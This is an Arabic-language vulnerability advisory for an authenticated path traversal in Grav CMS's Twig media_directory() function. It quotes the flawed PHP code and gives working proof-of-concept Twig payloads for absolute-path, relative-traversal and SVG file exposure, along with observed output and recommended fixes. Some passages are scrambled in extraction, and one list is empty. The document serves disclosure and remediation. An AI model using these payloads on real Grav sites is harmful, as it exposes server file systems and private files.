
استشارة فنية تفصّل ثغرة اجتياز المسار المُصادَق عليها في دالة media_directory() الخاصة بـ Twig في نظام Grav CMS، مما يتيح تعداد الدلائل التعسفي وكشف مسارات نظام الملفات.
media_directory()الاسم: CYBER-SEC
جهة الاتصال: [email protected]
دالة Twig الخاصة بـ Grav وهي media_directory() معرّضة داخل القائمة البيضاء لـ Twig sandbox لمحتوى الصفحات، لكنها لا تفرض بشكل صحيح احتواء المسار للمدخلات غير القائمة على streams.
يمكن لمستخدم مُصادَق يتمتع بصلاحيات تحرير الصفحات استدعاء media_directory('/absolute/path') أو استخدام اجتياز نسبي مثل media_directory('../../../../path') داخل محتوى الصفحات المفعّل عبر Twig. يقوم Grav بعد ذلك بفهرسة ملفات من نوع الوسائط من الدلائل القابلة للقراءة من قبل مستخدم خادم الويب.
كائنات Medium المُرجَعة تُظهر خصائص مسموحة في الـ sandbox مثل filepath و ، مما يؤدي إلى تعداد تعسفي للدلائل وكشف مسارات نظام الملفات المطلقة. بالنسبة لملفات الصور/SVG، قد يؤدي توليد URL أو الكاش إلى كشف الملفات عبر معالجة الكاش العامة في Grav.
filenameهذه ثغرة كشف معلومات تتطلب مُصادقة. لا يُعرف أنها تسمح بالاستغلال دون مُصادقة أو بتنفيذ أوامر عن بُعد مباشر.
المنتج: نظام Grav لإدارة المحتوى القائم على الملفات المسطحة
المستودع: https://github.com/getgrav/grav
الإصدارات المتأثرة المُتحقَّق منها: 2.0.3، 2.0.4، 2.0.6
المكوّن: Twig media_directory() / Twig sandbox لمحتوى صفحات Grav
المتجه: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
النتيجة الأساسية: 6.5 متوسطة
يقع موضع الثغرة في:
system/src/Grav/Common/Twig/Extension/GravExtension.php
المنطق ذو الصلة:
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
فقط مدخلات stream:// يتم حلها عبر locator الخاص بـ Grav. المسارات المطلقة أو النسبية غير القائمة على streams تُمرَّر كما هي إلى new Media($media_dir) دون تحقق من realpath() الأساسي، أو رفض الاجتياز، أو احتواء ضمن الدلائل المعتمدة التي يتحكم بها Grav.
الدالة معرّضة عبر القائمة البيضاء لـ Twig sandbox لمحتوى الصفحات:
system/config/security.yaml
allowed_functions:
- media_directory
يسمح الـ sandbox أيضًا بخصائص/طرق Medium مثل:
filepath
filename
url
cache
resize
يسمح هذا لمحرر صفحات مُصادَق بكشف أسماء الملفات والمسارات المطلقة من دلائل تعسفية قابلة للقراءة. بالنسبة لملفات الصور/SVG، قد يؤدي توليد URL/الكاش العام إلى كشف محتوى الملف.
مع تفعيل معالجة محتوى Twig، أنشئ أو عدّل صفحة في Grav وأدرج:
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
صيغة الاجتياز:
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
مثال كشف الصور/SVG:
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}
عند حفظ الصفحة وعرضها، يقوم Grav بفهرسة الملفات من المسار الذي يتحكم به المهاجم ويكشف أسماء الملفات ومسارات نظام الملفات المطلقة.
تم التحقق ضد Grav 2.0.6 باستخدام صورة Docker linuxserver/grav:latest.
شملت النتائج المرصودة:
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
كما تم تأكيد الاجتياز النسبي:
../../../../app/www/public
كما تم تأكيد كشف ملفات SVG عبر .url في بيئة اختبار محلية خاضعة للتحكم.
يمكن لمحرر صفحات مُصادَق أن:
هذه الثغرة من فئة الكشف ولا ينبغي الإبلاغ عنها كتنفيذ أوامر عن بُعد.
الإصلاحات الموصى بها:
media_directory من القائمة البيضاء لـ Twig sandbox لمحتوى الصفحات.أو:
media_directory():realpath().user://pages، أو user://images، أو دلائل وسائط أخرى معتمدة صراحةً.تم الإبلاغ عن هذه المشكلة بواسطة CYBER-SEC.